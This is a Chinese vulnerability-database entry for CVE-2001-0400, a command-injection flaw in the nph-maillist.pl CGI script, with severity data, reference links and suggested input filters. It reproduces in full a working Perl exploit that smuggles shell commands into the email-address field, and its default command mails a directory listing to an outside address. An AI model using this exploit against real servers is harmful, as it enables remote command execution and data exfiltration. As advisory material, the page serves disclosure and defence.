CVE-2001-0400
CVSS7.5
发布时间 :2001-07-02 00:00:00
修订时间 :2008-09-05 16:24:00
NMCOES    

[原文]nph-maillist.pl allows remote attackers to execute arbitrary commands via shell metacharacters ("`") in the email address.


[CNNVD]Matt Tourtillott nph-maillist远程执行任意命令漏洞(CNNVD-200107-019)

        nph-maillist是一个用来处理邮件列表的Perl CGI脚本,通常用来通知对网站更新感兴趣的用户。
        nph-maillist实现上存在输入验证漏洞,远程攻击者可以利用此漏洞在主机上以Web服务进程的权限执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:matt_tourtillott:nph-maillist:3.0
cpe:/a:matt_tourtillott:nph-maillist:3.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0400
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0400
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-019
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2563
(VENDOR_ADVISORY)  BID  2563
http://www.securityfocus.com/archive/1/175506
(VENDOR_ADVISORY)  BUGTRAQ  20010410 CGI - nph-maillist.pl vulnerability...

- 漏洞信息

Matt Tourtillott nph-maillist远程执行任意命令漏洞
高危 输入验证
2001-07-02 00:00:00 2012-11-28 00:00:00
远程  
        nph-maillist是一个用来处理邮件列表的Perl CGI脚本,通常用来通知对网站更新感兴趣的用户。
        nph-maillist实现上存在输入验证漏洞,远程攻击者可以利用此漏洞在主机上以Web服务进程的权限执行任意命令。

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 编辑修改nph-maillist.pl脚本,加入几行过滤代码
        if ($FORM{'emailaddress'} =~ /\;/) { &bad_email();}
        if ($FORM{'emailaddress'} =~ /\`/) { &bad_email();}
        厂商补丁:
        Matt Tourtillott
        ----------------
        作者已经在最新版本的软件中修补了此安全漏洞,请到作者的主页下载:
        
        http://www.marketrends.net/maillist/

- 漏洞信息 (20744)

nph-maillist 3.0/3.5 Arbitrary Code Execution Vulnerability (EDBID:20744)
cgi remote
2001-04-10 Verified
0 Kanedaaa
N/A [点击下载]
source: http://www.securityfocus.com/bid/2563/info

nph-maillist is a Perl CGI script that handles mailing lists, typically used to notify interested users of site updates. A hostile user can enter commands embedded in an email address via the subscription form, and then force a mailing which will execute the commands. 

#!/usr/bin/perl
# nph-maillist hack... Kanedaaa  [ kaneda@ac.pl ]
# its add crazy @email, sends mails, and execute our code of coz ;]
#
# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
# hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
# Team Members... yeah. i must go sleep. ;]
# and #phreakpl, #hackingpl :]
#
# . remember thats just simple sploit... You cant play in koules this.. ;]
use Socket;

# Ip...
$ip="127.0.0.1";

# Command to run ...
$command = 'ls -al|mail ssie@bigbrother.pl';

#################################################
if (!$ARGV[0]) {
print "....nph-maillist hack... Kanedaaa  [kaneda\@ac.pl]\n";
print ".........Use the force, edit source...[ ip & command ]\n";
print "\n";
print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
}

if ($ARGV[0] eq "send") { &send }
if ($ARGV[0] eq "hack") { &hack }


sub send
{
###########################################
# You cant add this BAD chars... but we can hack this ;]
#" "	")"	"("	":"	"/"	"\"	"http:"
###########################################
# Hack the "/" problem... change "/" -> `head -n1 nph-maillist.pl|cut -c3`
#
$command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
#
# Hack the ":" problem... change ":" -> `grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print $2'}|cut -c1`
#
$command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print \$2'}|cut -c1`/g;
#
# Hack the "\" problem... change "\" -> `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`
#
$command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`/g;
#
# Hack the "(" problem... change "(" -> `grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`
#
$command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`/g;
#
# Hack the ")" problem... change ")" -> `grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`
#
$command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;


###
# Change ascii to hex...
$command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
#
# Hack the " " problem... change " " -> "\t" [TAB]
$command =~ s/%20/%09/g;

$r = int(rand(100000));
$command = "$r\@bigbrother.pl;".$command;

$parms="emailaddress=$command";
$tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";

print sendraw($tosend);

print "If server return some ...adding %trash% to the email list...\n";
print "Now run with hack parametr...Peace\n";
}

sub hack
{
$tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";

print sendraw($tosend);

print "... Theoretical You are haker... \n";

}

#####################################################
# Ripped from some RFP code... :]]  I will infuse good Tea for You...
# I`am the best Infuser of Tea in .pl ... :]
sub sendraw {
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }}

		

- 漏洞信息

13869
nph-maillist.pl email Parameter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2001-04-11 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

nph-maillist Arbitrary Code Execution Vulnerability
Input Validation Error 2563
Yes No
2001-04-10 12:00:00 2009-07-11 06:06:00
Posted to bugtraq on April 10, 2001 by Kanedaaa Bohater <kaneda@ac.pl>.

- 受影响的程序版本

Matt Tourtillott nph-maillist 3.5
Matt Tourtillott nph-maillist 3.0

- 漏洞讨论

nph-maillist is a Perl CGI script that handles mailing lists, typically used to notify interested users of site updates. A hostile user can enter commands embedded in an email address via the subscription form, and then force a mailing which will execute the commands.

- 漏洞利用

x

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

This issue can be resolved by editing nph-maillist.pl . There is a section with several lines like:

if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}

Add the following two lines to that section:

if ($FORM{'emailaddress'} =~ /\;/) { &bad_email();}

if ($FORM{'emailaddress'} =~ /\`/) { &bad_email();}

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站